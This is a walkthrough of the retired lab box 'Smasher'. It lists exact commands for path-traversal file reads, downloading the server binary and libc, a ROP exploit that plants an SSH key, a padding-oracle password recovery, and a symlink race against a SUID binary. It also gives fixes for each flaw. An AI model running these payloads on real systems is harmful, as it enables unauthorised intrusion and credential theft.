Smasher
Summary
I scanned the target and found two services: SSH on TCP 22 and a custom 'tiny' web server on TCP 1111. The web server accepted raw and URL-encoded directory-traversal sequences in request paths, letting any unauthenticated caller read arbitrary files: first revealing two local user accounts in /etc/passwd, then downloading the server's own compiled binary and C source. Offline analysis of the source exposed a stack buffer overflow in the URL-decoding function with no length check.
An amd64 ROP chain exploited this remotely to write my SSH public key into the www user's home directory, yielding a shell. From that low-privilege foothold, a service on loopback TCP 1337 encrypted a session token (containing the smasher user's password) with AES-CBC but leaked whether PKCS#7 padding was valid on each decryption attempt. Iterative queries to this padding oracle recovered the plaintext password, which was used directly to SSH in as smasher and capture the user flag.
Finally, the SUID-root binary /usr/bin/checker checked file ownership by filename, then opened the same file in a separate step a fraction of a second later. Replacing the file with a symlink to /root/root.txt between the check and the open caused the privileged binary to print the root flag: full system compromise without a root shell.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for smasher>"Attack path: how the box was taken
Exact commands 2
Fingerprint the two exposed services.
$ nmap -Pn -sV --open -p 22,1111 $TARGETConfirm the port 1111 service serves HTTP and identify any server headers.
$ curl -si http://$TARGET:1111/index.htmlExact commands 3
Plain dot-dot traversal: server returns /etc/passwd contents without authentication.
$ curl -s -i --path-as-is "http://$TARGET:1111/../../../../etc/passwd"URL-encoded variant: both forms were accepted, confirming incomplete input sanitization.
$ curl -s -i --path-as-is "http://$TARGET:1111/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"Retrieve startup configuration to identify background services and file ownership.
$ curl -sS --path-as-is "http://$TARGET:1111/../../../../etc/rc.local"FixSanitize URL paths in the web server to prevent directory traversalCritical
Exact commands 4
Create a local working directory for the retrieved artifacts.
$ mkdir -p /tmp/smasher/exploitExfiltrate the running ELF binary for disassembly and gadget search.
$ curl -sS --path-as-is "http://$TARGET:1111/../../../../home/www/tiny-web-server/tiny" -o /tmp/smasher/exploit/tinyExfiltrate the C source to locate the overflow and understand socket/FD lifecycle.
$ curl -sS --path-as-is "http://$TARGET:1111/../../../../home/www/tiny-web-server/tiny.c" -o /tmp/smasher/exploit/tiny.cExfiltrate system libc for ROP gadget offsets and symbol addresses (system, puts, etc.).
$ curl -sS --path-as-is "http://$TARGET:1111/../../../../lib/x86_64-linux-gnu/libc-2.27.so" -o /tmp/smasher/exploit/libc-2.27.soExact commands 2
Two-stage ROP exploit: leaks a libc GOT address, then writes my SSH public key to /home/www/.ssh/authorized_keys.
$ python3 /tmp/smasher/exploit_key.pyVerify foothold: expects uid=1000(www) /home/www.
$ ssh -i /tmp/smasher/wwwkey -o BatchMode=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null www@$TARGET 'id; pwd'
uid=1000(www)FixFix the stack buffer overflow in the URL-decoding functionCritical
Exact commands 2
From the www foothold: confirm the padding oracle service is listening on loopback TCP 1337.
$ ssh -i /tmp/smasher/wwwkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null www@$TARGET 'ss -tlnp | grep 1337'Run the padding oracle exploit script from the www foothold; output contains the decrypted smasher credential.
$ ssh -i /tmp/smasher/wwwkey -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null www@$TARGET 'python3 /tmp/padding_oracle.py 127.0.0.1 1337'FixReplace CBC-mode encryption on the loopback service with authenticated encryption to eliminate the padding oracleCritical
Exact commands 1
Authenticate as smasher with the oracle-recovered password and read the user flag. Flag value: <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null smasher@$TARGET 'id; cat /home/smasher/user.txt'
uid=1001(smasher)Exact commands 2
Confirm /usr/bin/checker has the SUID bit and is owned by root.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null smasher@$TARGET 'ls -la /usr/bin/checker'Full race sequence from smasher's home-backed directory. Checker passes the ownership check on the benign 'file', the symlink swap occurs during the race window, and the root flag is printed. Flag value: <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null smasher@$TARGET 'cd /home/smasher; rm -rf .checker-race; mkdir .checker-race; cd .checker-race; echo safe > file; /usr/bin/checker file > result 2>&1 & p=$!; sleep 0.5; rm -f file; ln -s /root/root.txt file; wait $p; cat result; rm -f file result; cd ..; rmdir .checker-race'FixEliminate the TOCTOU race in /usr/bin/checker by using file-descriptor-based ownership checksHigh
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.